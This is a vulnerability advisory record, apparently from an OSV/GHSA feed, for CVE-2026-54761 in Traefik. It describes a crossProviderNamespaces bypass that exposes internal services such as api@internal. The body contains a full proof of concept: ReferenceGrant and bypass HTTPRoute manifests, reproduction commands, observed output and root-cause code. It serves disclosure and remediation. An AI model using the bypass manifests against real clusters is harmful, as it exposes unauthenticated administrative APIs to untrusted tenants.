{"id":"CVE-2026-54761","aliases":["GHSA-3g6v-2r68-prfc","GO-2026-5083"],"title":"Traefik: Kubernetes Gateway crossProviderNamespaces bypass allows HTTPRoute outside the allowlist to expose internal Traefik services","summary":"Traefik: Kubernetes Gateway crossProviderNamespaces bypass allows HTTPRoute outside the allowlist to expose internal Traefik services","severity":"high","cvss":7.1,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","vendor":"traefik","product":"github.com/traefik/traefik/v3","ecosystem":"go","affected":["github.com/traefik/traefik/v3 < 3.6.21","github.com/traefik/traefik/v2 <= 2.11.50","github.com/traefik/traefik <= 1.7.34","github.com/traefik/traefik/v3 >= 3.7.0-ea.1, < 3.7.5"],"patched":["github.com/traefik/traefik/v3 3.6.21","github.com/traefik/traefik/v3 3.7.5"],"published":"2026-06-17","updated":"2026-09-10","sourceUpdated":"2026-09-10T03:50:55.279272148Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-3g6v-2r68-prfc","references":[{"url":"https://github.com/traefik/traefik/security/advisories/GHSA-3g6v-2r68-prfc"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54761"},{"url":"https://github.com/traefik/traefik"},{"url":"https://github.com/traefik/traefik/releases/tag/v3.6.21"},{"url":"https://github.com/traefik/traefik/releases/tag/v3.7.5"},{"url":"https://github.com/advisories/GHSA-3g6v-2r68-prfc"}],"tags":["osv","go","exploit-available","ghsa"],"epss":0.00369,"epssPercentile":0.27954,"exploits":{"github":1,"githubRepos":["https://github.com/Saku0512/CVE-2026-54761-poc"],"checkedAt":"2026-09-25T08:21:02.918Z"},"exploitAvailable":true,"cwe":["CWE-284","CWE-863"],"ingestedAt":"2026-06-29T14:31:47.443Z","slug":"CVE-2026-54761","body":"## Overview\n\n## Summary\n\nThere is a high severity vulnerability in Traefik's Kubernetes Gateway provider affecting the `crossProviderNamespaces` allowlist. For `HTTPRoute` rules that declare multiple (WRR) backendRefs, Traefik evaluates the allowlist against the target `backendRef.namespace` instead of the route's own namespace. As a result, an `HTTPRoute` created in a namespace that is not allow-listed can reference a cross-provider `TraefikService` such as `api@internal`, `dashboard@internal` or `rest@internal` by pointing `backendRef.namespace` at an allow-listed namespace covered by a Gateway API `ReferenceGrant`, exposing internal Traefik services on the data plane. Exploitation requires the ability to create an accepted `HTTPRoute` and a matching `ReferenceGrant` from an allow-listed namespace ; it does not require any change to Traefik static configuration, RBAC, or the deployment itself.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.6.21\n- https://github.com/traefik/traefik/releases/tag/v3.7.5\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n<details>\n<summary>Original Description</summary>\n\n# Summary\n\nThe Kubernetes Gateway provider's `crossProviderNamespaces` option is documented as restricting which Gateway API route namespaces may declare `TraefikService` backendRefs.\n\nFor `HTTPRoute` rules with multiple backendRefs, Traefik checks this allowlist against `backendRef.namespace` instead of the `HTTPRoute` namespace. A route in a namespace that is not allow-listed can therefore add `api@internal` to the generated WRR service by setting `backendRef.namespace` to an allow-listed namespace, as long as a normal Gateway API `ReferenceGrant` permits that cross-namespace reference.\n\nVerified affected versions:\n\n- `v3.7.1` (`fa49e2bcad7ffd8a80accdf1fae1ae480913d93d`)\n- current source/master tested by me (`29406d42898547f1ffabd904f66af06c212740cf`)\n\n# Expected Behavior\n\nWith:\n\n```yaml\nproviders:\n  kubernetesGateway:\n    crossProviderNamespaces:\n      - trusted\n```\n\nonly Gateway API routes whose own namespace is `trusted` should be allowed to declare `TraefikService` backendRefs such as `api@internal`, `dashboard@internal`, or `rest@internal`.\n\nAn `HTTPRoute` in namespace `attacker` should not be able to expose an internal Traefik service by setting:\n\n```yaml\nbackendRefs:\n  - group: traefik.io\n    kind: TraefikService\n    name: api@internal\n    namespace: trusted\n```\n\n# Actual Behavior\n\nFor an `HTTPRoute` in namespace `attacker` with two backendRefs, Traefik generates a WRR service containing:\n\n```text\n[api@internal attacker-whoami-http-80]\n```\n\neven though `crossProviderNamespaces` only allows `trusted`.\n\n# Threat Model\n\nThis does not require changing Traefik static configuration or Traefik process state. The relevant boundary is the Kubernetes Gateway provider's `crossProviderNamespaces` policy: namespaces outside the allowlist should not be able to declare cross-provider `TraefikService` backendRefs.\n\nThe precondition is a Gateway API environment where an untrusted or less-trusted namespace can create `HTTPRoute` objects accepted by a Gateway, and a namespace in the `crossProviderNamespaces` allowlist has a matching `ReferenceGrant`. `ReferenceGrant` should satisfy Gateway API cross-namespace reference rules, but it should not override Traefik's separate provider-level namespace allowlist for cross-provider internal services.\n\nA Gateway API `ReferenceGrant` should be treated as necessary but not sufficient for this case. It authorizes the cross-namespace object reference under Gateway API rules, but Traefik's `crossProviderNamespaces` option is an additional Traefik-specific security control for cross-provider `TraefikService` backendRefs, especially `@internal` services. Therefore a `ReferenceGrant` from `trusted` must not make a route in `attacker` equivalent to a route whose own namespace is `trusted`.\n\n# Required Attacker Capability\n\nRequired:\n\n- create or modify an `HTTPRoute` in namespace `attacker`;\n- have that `HTTPRoute` accepted by a `Gateway`;\n- rely on an existing `ReferenceGrant` from an allow-listed namespace, or on a delegated namespace setup where such `ReferenceGrant` objects are managed separately from Traefik's provider configuration.\n\nNot required:\n\n- modifying Traefik static configuration;\n- modifying the Traefik deployment or Traefik RBAC;\n- modifying resources in the Traefik deployment namespace;\n- modifying `providers.kubernetesGateway.crossProviderNamespaces`;\n- enabling `api.insecure`;\n- exposing the dashboard/API entrypoint directly.\n\n# Documentation Evidence\n\nThe documented boundary is the namespace of the Gateway API route/resource that declares the cross-provider reference, not the namespace named in `backendRef.namespace`.\n\nThe Kubernetes Gateway provider option is documented as:\n\n```text\nList of namespaces from which Gateway API routes (HTTPRoute, TCPRoute, TLSRoute) are allowed to declare a backendRef of kind TraefikService.\n```\n\nThe migration notes also describe the security reason for the option:\n\n```text\nthose references ... allow a user to cross namespace boundaries, as well as exposing @internal services, that only the operator should be able to expose.\n```\n\nand the documented behavior is:\n\n```text\n[\"ns-a\"] | Only Kubernetes resources in the listed namespaces can declare cross-provider references.\n```\n\nThe provider struct uses the same route-namespace wording:\n\n```go\nCrossProviderNamespaces []string `description:\"List of namespaces from which Gateway API routes are allowed to declare TraefikService backendRef references.\" ...`\n```\n\nThe reproduced route kind is `HTTPRoute`; no Gateway API experimental-channel resources are required for the PoC.\n\n# PoC\n\nI validated the issue end-to-end in a local `kind` cluster with Traefik `v3.7.1`, real Gateway API CRDs, real Kubernetes `Gateway`, `HTTPRoute`, and `ReferenceGrant` resources, and HTTP requests to Traefik's normal `web` entrypoint.\n\nThe complete local reproducer I used is a self-contained `kind` PoC with these files:\n\n```text\nexternal-repro-kind/kind-config.yaml\nexternal-repro-kind/traefik-v371.yaml\nexternal-repro-kind/gateway-exploit.yaml\nexternal-repro-kind/run-kind-repro.sh\n```\n\nRun command:\n\n```bash\n./external-repro-kind/run-kind-repro.sh\n```\n\nThe script creates a local `kind` cluster, loads local `traefik:v3.7.1` and `traefik/whoami:v1.11.0` images, installs Gateway API CRDs, deploys Traefik and the PoC Gateway resources, sends the control and exploit `curl` requests to `127.0.0.1:18080`, prints route status, and deletes the cluster on exit.\n\nTraefik was started with:\n\n```text\n--api=true\n--api.dashboard=true\n--api.insecure=false\n--providers.kubernetesgateway=true\n--providers.kubernetesgateway.crossprovidernamespaces=trusted\n```\n\nThe local host entrypoint was:\n\n```text\n127.0.0.1:18080 -> kind NodePort -> Traefik web entrypoint\n```\n\nThe target namespace has a normal Gateway API `ReferenceGrant`:\n\n```yaml\napiVersion: gateway.networking.k8s.io/v1beta1\nkind: ReferenceGrant\nmetadata:\n  name: allow-attacker-to-traefikservice\n  namespace: trusted\nspec:\n  from:\n    - group: gateway.networking.k8s.io\n      kind: HTTPRoute\n      namespace: attacker\n  to:\n    - group: traefik.io\n      kind: TraefikService\n```\n\nPositive control:\n\n```yaml\napiVersion: gateway.networking.k8s.io/v1\nkind: HTTPRoute\nmetadata:\n  name: single-backend-control\n  namespace: attacker\nspec:\n  parentRefs:\n    - name: shared-gateway\n      namespace: default\n  hostnames:\n    - control.localhost\n  rules:\n    - matches:\n        - path:\n            type: PathPrefix\n            value: /api\n      backendRefs:\n        - group: traefik.io\n          kind: TraefikService\n          name: api@internal\n          namespace: trusted\n          port: 80\n          weight: 1\n```\n\nBypass:\n\n```yaml\napiVersion: gateway.networking.k8s.io/v1\nkind: HTTPRoute\nmetadata:\n  name: mixed-backend-bypass\n  namespace: attacker\nspec:\n  parentRefs:\n    - name: shared-gateway\n      namespace: default\n  hostnames:\n    - exploit.localhost\n  rules:\n    - matches:\n        - path:\n            type: PathPrefix\n            value: /api\n      backendRefs:\n        - group: traefik.io\n          kind: TraefikService\n          name: api@internal\n          namespace: trusted\n          port: 80\n          weight: 1000000\n        - group: \"\"\n          kind: Service\n          name: whoami\n          port: 80\n          weight: 1\n```\n\nObserved external result:\n\n```text\ncontrol: single-backend route from attacker namespace should not expose api@internal\ncontrol status: 404\n404 page not found\n\nexploit: mixed backendRef route from attacker namespace exposes api@internal\nexploit returned Traefik API JSON\napi@internal status: enabled\nweighted members:\napi@internal              1000000\nattacker-whoami-http-80  1\n```\n\nThe `HTTPRoute` status shows the boundary difference:\n\n```text\nsingle-backend-control:\n  Accepted=True\n  ResolvedRefs=False\n  Reason=RefNotPermitted\n  Message=Cannot load HTTPRoute BackendRef api@internal: internal service reference is not allowed: HTTPRoute namespace \"attacker\" is not in crossProviderNamespaces\n\nmixed-backend-bypass:\n  Accepted=True\n  ResolvedRefs=True\n```\n\nThis is the externally visible security failure: the same route namespace and same `api@internal` backendRef are rejected in the single-backend path, but accepted in the mixed/WRR path and exposed on the data plane.\n\n## Minimized Root Cause Test\n\nI also created a provider-level regression test using Traefik's fake Kubernetes/Gateway clients. This does not rely on the Docker lab, dashboard exposure, or helper backends. It is useful as a minimal root-cause test, but the external `kind` PoC above is the primary impact reproduction.\n\nFiles:\n\n- `probe/crossprovider_namespace_probe_test.go`\n- `probe/cross_provider_namespace_probe.yml`\n- `probe/cross_provider_namespace_single_control.yml`\n\nReproduction:\n\n```bash\ncp probe/crossprovider_namespace_probe_test.go pkg/provider/kubernetes/gateway/\ncp probe/cross_provider_namespace_probe.yml pkg/provider/kubernetes/gateway/fixtures/httproute/\ngo test ./pkg/provider/kubernetes/gateway -run TestProbeCrossProviderNamespacesHTTPRouteBackendNamespaceBypass -count=1 -v\n```\n\nObserved output on both tested versions:\n\n```text\nMessages: HTTPRoute namespace attacker must not expose api@internal when only trusted is allow-listed; members=[api@internal attacker-whoami-http-80]\n```\n\nThe reproducer also includes a positive control:\n\n```text\n=== RUN   TestProbeCrossProviderNamespacesHTTPRouteSingleBackendControl\n--- PASS: TestProbeCrossProviderNamespacesHTTPRouteSingleBackendControl\n```\n\nThat control shows the single-backend internal-service code path rejects the setup correctly. The bypass appears when the same forbidden internal backend is placed in a mixed/WRR backendRef list.\n\n# Root Cause\n\nThe single-internal-service path checks the route namespace:\n\n```go\ncase len(routeRule.BackendRefs) == 1 && isInternalService(routeRule.BackendRefs[0].BackendRef):\n    if !isCrossProviderNamespaceAllowed(p.CrossProviderNamespaces, route.Namespace) {\n```\n\nThe mixed/multiple backendRef path calls `loadService`. In `loadService`, `namespace` is overwritten from `backendRef.Namespace`, then passed to `loadHTTPBackendRef`:\n\n```go\nnamespace := route.Namespace\nif backendRef.Namespace != nil && *backendRef.Namespace != \"\" {\n    namespace = string(*backendRef.Namespace)\n}\n...\nname, service, err := p.loadHTTPBackendRef(namespace, backendRef)\n```\n\n`loadHTTPBackendRef` then checks `crossProviderNamespaces` against this target namespace:\n\n```go\nif *backendRef.Kind == \"TraefikService\" && strings.Contains(string(backendRef.Name), \"@\") {\n    if !isCrossProviderNamespaceAllowed(p.CrossProviderNamespaces, namespace) {\n```\n\nThis lets a disallowed route namespace choose an allow-listed target namespace and pass the check.\n\n# Impact\n\nAn untrusted route namespace may expose internal Traefik services through Gateway `HTTPRoute` despite being excluded from `crossProviderNamespaces`.\n\nPotentially exposed internal services include:\n\n- `api@internal`\n- `dashboard@internal`\n- `rest@internal`\n\nThis is a route isolation / internal service exposure / security option bypass. Practical severity depends on whether internal services are enabled and how Gateway `ReferenceGrant` delegation is used, but the observed behavior violates the documented security boundary of `crossProviderNamespaces`.\n\nI also validated the concrete impact of the generated service graph in the local lab. The lab's intended safe baseline has the dashboard/API protected on the dashboard entrypoint:\n\n```text\nHost: dashboard.localhost -> dashboard entrypoint /api/rawdata => 401 Unauthorized\nHost: dashboard.localhost -> web entrypoint /api/rawdata => 404 Not Found\n```\n\nWhen a router on the normal web entrypoint references `api@internal`, the same API endpoint becomes unauthenticated:\n\n```text\nHost: impact-crossprovider.localhost -> web entrypoint /api/rawdata => 200 OK\nservice: api@internal\n```\n\nA WRR service containing `api@internal` also exposes the API:\n\n```text\nHost: impact-crossprovider-wrr.localhost -> web entrypoint /api/rawdata => 200 OK\nweighted services:\napi@internal 1000\necho-svc      1\n```\n\nThis is the security consequence of the provider bug: a namespace that should be blocked by `crossProviderNamespaces` can make Traefik generate a service graph containing `api@internal` on a route it controls.\n\n# Suggested Fix\n\nFor Gateway `HTTPRoute` `TraefikService` cross-provider backendRefs, validate `crossProviderNamespaces` against `route.Namespace` in all code paths, including mixed/WRR backendRefs.\n\n</details>\n\n---\n\n## Affected packages\n\n- `github.com/traefik/traefik/v3 < 3.6.21`\n- `github.com/traefik/traefik/v2 <= 2.11.50`\n- `github.com/traefik/traefik <= 1.7.34`\n- `github.com/traefik/traefik/v3 >= 3.7.0-ea.1, < 3.7.5`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `github.com/traefik/traefik/v3 3.6.21`\n- `github.com/traefik/traefik/v3 3.7.5`","depth":"midnight","depthScore":51,"depthScoreParts":{"impact":39.1,"likelihood":0.1,"exploitation":12,"ransomware":0},"changes":[{"seq":201770,"id":"CVE-2026-54761","ts":1789399703616,"field":"cvss","old":null,"new":"7.1"},{"seq":201769,"id":"CVE-2026-54761","ts":1789399703616,"field":"severity","old":"medium","new":"high"},{"seq":200500,"id":"CVE-2026-54761","ts":1789397360358,"field":"cvss","old":"7.1","new":null},{"seq":200499,"id":"CVE-2026-54761","ts":1789397360358,"field":"severity","old":"high","new":"medium"},{"seq":198417,"id":"CVE-2026-54761","ts":1789391933685,"field":"cvss","old":null,"new":"7.1"},{"seq":198416,"id":"CVE-2026-54761","ts":1789391933685,"field":"severity","old":"medium","new":"high"},{"seq":196210,"id":"CVE-2026-54761","ts":1789383562967,"field":"cvss","old":"7.1","new":null},{"seq":196209,"id":"CVE-2026-54761","ts":1789383562967,"field":"severity","old":"high","new":"medium"},{"seq":195139,"id":"CVE-2026-54761","ts":1789380461092,"field":"cvss","old":null,"new":"7.1"},{"seq":195138,"id":"CVE-2026-54761","ts":1789380461092,"field":"severity","old":"medium","new":"high"},{"seq":193926,"id":"CVE-2026-54761","ts":1789378481567,"field":"cvss","old":"7.1","new":null},{"seq":193925,"id":"CVE-2026-54761","ts":1789378481567,"field":"severity","old":"high","new":"medium"},{"seq":192713,"id":"CVE-2026-54761","ts":1789376393208,"field":"cvss","old":null,"new":"7.1"},{"seq":192712,"id":"CVE-2026-54761","ts":1789376393208,"field":"severity","old":"medium","new":"high"},{"seq":191500,"id":"CVE-2026-54761","ts":1789373383914,"field":"cvss","old":"7.1","new":null},{"seq":191499,"id":"CVE-2026-54761","ts":1789373383914,"field":"severity","old":"high","new":"medium"},{"seq":190285,"id":"CVE-2026-54761","ts":1789369280623,"field":"cvss","old":null,"new":"7.1"},{"seq":190284,"id":"CVE-2026-54761","ts":1789369280623,"field":"severity","old":"medium","new":"high"},{"seq":189072,"id":"CVE-2026-54761","ts":1789368250701,"field":"cvss","old":"7.1","new":null},{"seq":189071,"id":"CVE-2026-54761","ts":1789368250701,"field":"severity","old":"high","new":"medium"},{"seq":187855,"id":"CVE-2026-54761","ts":1789365135846,"field":"cvss","old":null,"new":"7.1"},{"seq":187854,"id":"CVE-2026-54761","ts":1789365135846,"field":"severity","old":"medium","new":"high"},{"seq":186642,"id":"CVE-2026-54761","ts":1789363237201,"field":"cvss","old":"7.1","new":null},{"seq":186641,"id":"CVE-2026-54761","ts":1789363237201,"field":"severity","old":"high","new":"medium"},{"seq":185428,"id":"CVE-2026-54761","ts":1789361082897,"field":"cvss","old":null,"new":"7.1"},{"seq":185427,"id":"CVE-2026-54761","ts":1789361082897,"field":"severity","old":"medium","new":"high"},{"seq":184215,"id":"CVE-2026-54761","ts":1789358120980,"field":"cvss","old":"7.1","new":null},{"seq":184214,"id":"CVE-2026-54761","ts":1789358120980,"field":"severity","old":"high","new":"medium"},{"seq":182466,"id":"CVE-2026-54761","ts":1789354205596,"field":"cvss","old":null,"new":"7.1"},{"seq":182465,"id":"CVE-2026-54761","ts":1789354205596,"field":"severity","old":"medium","new":"high"},{"seq":181259,"id":"CVE-2026-54761","ts":1789353104629,"field":"cvss","old":"7.1","new":null},{"seq":181258,"id":"CVE-2026-54761","ts":1789353104629,"field":"severity","old":"high","new":"medium"},{"seq":180052,"id":"CVE-2026-54761","ts":1789350149090,"field":"cvss","old":null,"new":"7.1"},{"seq":180051,"id":"CVE-2026-54761","ts":1789350149090,"field":"severity","old":"medium","new":"high"},{"seq":178845,"id":"CVE-2026-54761","ts":1789348068330,"field":"cvss","old":"7.1","new":null},{"seq":178844,"id":"CVE-2026-54761","ts":1789348068330,"field":"severity","old":"high","new":"medium"},{"seq":177638,"id":"CVE-2026-54761","ts":1789346260200,"field":"cvss","old":null,"new":"7.1"},{"seq":177637,"id":"CVE-2026-54761","ts":1789346260200,"field":"severity","old":"medium","new":"high"},{"seq":176431,"id":"CVE-2026-54761","ts":1789342989199,"field":"cvss","old":"7.1","new":null},{"seq":176430,"id":"CVE-2026-54761","ts":1789342989199,"field":"severity","old":"high","new":"medium"},{"seq":174548,"id":"CVE-2026-54761","ts":1789334745013,"field":"cvss","old":null,"new":"7.1"},{"seq":174547,"id":"CVE-2026-54761","ts":1789334745013,"field":"severity","old":"medium","new":"high"},{"seq":173343,"id":"CVE-2026-54761","ts":1789333465204,"field":"cvss","old":"7.1","new":null},{"seq":173342,"id":"CVE-2026-54761","ts":1789333465204,"field":"severity","old":"high","new":"medium"},{"seq":172157,"id":"CVE-2026-54761","ts":1789330981496,"field":"cvss","old":null,"new":"7.1"},{"seq":172156,"id":"CVE-2026-54761","ts":1789330981496,"field":"severity","old":"medium","new":"high"},{"seq":170971,"id":"CVE-2026-54761","ts":1789328590304,"field":"cvss","old":"7.1","new":null},{"seq":170970,"id":"CVE-2026-54761","ts":1789328590304,"field":"severity","old":"high","new":"medium"},{"seq":169766,"id":"CVE-2026-54761","ts":1789327039187,"field":"cvss","old":null,"new":"7.1"},{"seq":169765,"id":"CVE-2026-54761","ts":1789327039187,"field":"severity","old":"medium","new":"high"}]}